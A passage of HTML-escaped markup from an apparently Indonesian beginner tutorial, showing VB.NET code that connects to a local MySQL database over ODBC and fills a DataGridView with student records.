#f4f4f4; border-bottom-style: none"&gt;&amp;#8220;Driver={MySQLODBC5.1Driver};&amp;#8221; &amp;amp; _&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#8220;Server=localhost;&amp;#8221; &amp;amp; _&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#8220;Database=db_windowsapplication;&amp;#8221; &amp;amp; _&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#8220;User=root;&amp;#8221; &amp;amp; _&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#8220;Password=;&amp;#8221; &amp;amp; _&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#8220;&lt;span style="color: #0000ff"&gt;Option&lt;/span&gt;=4;&amp;#8221;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; conn &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;New&lt;/span&gt; OdbcConnection(connString)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; reader &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; OdbcDataReader&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#8216;ambil data dari tabel student&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Public&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Sub&lt;/span&gt; viewStudent(&lt;span style="color: #0000ff"&gt;ByVal&lt;/span&gt; varDataGridView &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; DataGridView)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; sql &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;String&lt;/span&gt; = &amp;#8220;&lt;span style="color: #0000ff"&gt;SELECT&lt;/span&gt; * FROM student&amp;#8221;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; hasil &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;String&lt;/span&gt; = &amp;#8220;&amp;#8221;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; i &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Integer&lt;/span&gt; = 0&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Try&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;conn.Open()&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; cmd &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; OdbcCommand = &lt;span style="color: #0000ff"&gt;New&lt;/span&gt; OdbcCommand(sql, conn)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;reader = cmd.ExecuteReader()&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;While&lt;/span&gt; reader.Read&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;If&lt;/span&gt; reader.HasRows = &lt;span style="color: #0000ff"&gt;True&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Then&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;With&lt;/span&gt; varDataGridView&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.Rows.Add()&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colID&amp;#8221;).Value = reader.GetValue(0).ToString&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colNama&amp;#8221;).Value = reader.GetValue(1).ToString&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colAlamat&amp;#8221;).Value = reader.GetValue(2).ToString&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colTelp&amp;#8221;).Value = reader.GetValue(3).ToString&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;.Rows(i).Cells(&amp;#8221;colSex&amp;#8221;).Value = &lt;span style="color: #0000ff"&gt;Me&lt;/span&gt;.detectSexToView(reader.GetValue(4).ToString)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;i = i + 1&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; &lt;span style="color: #0000ff"&gt;With&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; &lt;span style="color: #0000ff"&gt;If&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; &lt;span style="color: #0000ff"&gt;While&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Catch&lt;/span&gt; ex &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; Exception&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;MsgBox(ex.Message &amp;amp; &amp;#8221; SQL : &amp;#8221; &amp;amp; sql)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Try&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Sub&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#8216;deteksi Sex dari 1 atau 0 ke Pria atau Wanita&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Function&lt;/span&gt; detectSexToView(&lt;span style="color: #0000ff"&gt;ByVal&lt;/span&gt; varSex &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Integer&lt;/span&gt;) &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; &lt;span style="color: #0000ff"&gt;String&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;If&lt;/span&gt; (varSex = 1) &lt;span style="color: #0000ff"&gt;Then&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Return&lt;/span&gt; &amp;#8220;Pria&amp;#8221;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Else&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Return&lt;/span&gt; &amp;#8220;Wanita&amp;#8221;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; &lt;span style="color: #0000ff"&gt;If&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; Function&lt;/pre&gt;&lt;br /&gt;        &lt;/div&gt;&lt;br /&gt;      &lt;/div&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;4. Oke, kita telah membuat inti dari pembahasan kali ini. Sekarang pada form yang telah kita buat tadi tambahkan kode berikut :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;div align="justify"&gt;&lt;br /&gt;      &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;        &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Private&lt;/span&gt; &lt;span style="color: #0000ff"&gt;Sub&lt;/span&gt; ViewDataSiswa_Load(&lt;span style="color: #0000ff"&gt;ByVal&lt;/span&gt; sender &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; System.&lt;span style="color: #0000ff"&gt;Object&lt;/span&gt;, &lt;span style="color: #0000ff"&gt;ByVal&lt;/span&gt; e &lt;span style="color: #0000ff"&gt;As&lt;/span&gt; System.EventArgs) &lt;span style="color: #0000ff"&gt;Handles&lt;/span&gt; &lt;span style="color: #0000ff"&gt;MyBase&lt;/span&gt;.Load&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;Dim&lt;/span&gt; proses &lt;span style="color: #0000ff"&gt;as&lt;/span&gt; &lt;span style="color: #0000ff"&gt;New&lt;/span&gt; ProsesData proses.viewStudent(DataGridSiswa)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;End&lt;/span&gt; Sub&lt;/pre&gt;&lt;br /&gt;        &lt;/div&gt;&lt;br /&gt;      &lt;/div&gt;&lt;br /&gt;    &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;    &lt;p align="justify"&gt;5. Compile project dan lihat hasilnya.Yang perlu diamati dari kode diatas antara lain :&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;    &lt;div align="justify"&gt;&lt;br /&gt;      &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;        &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;          &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: 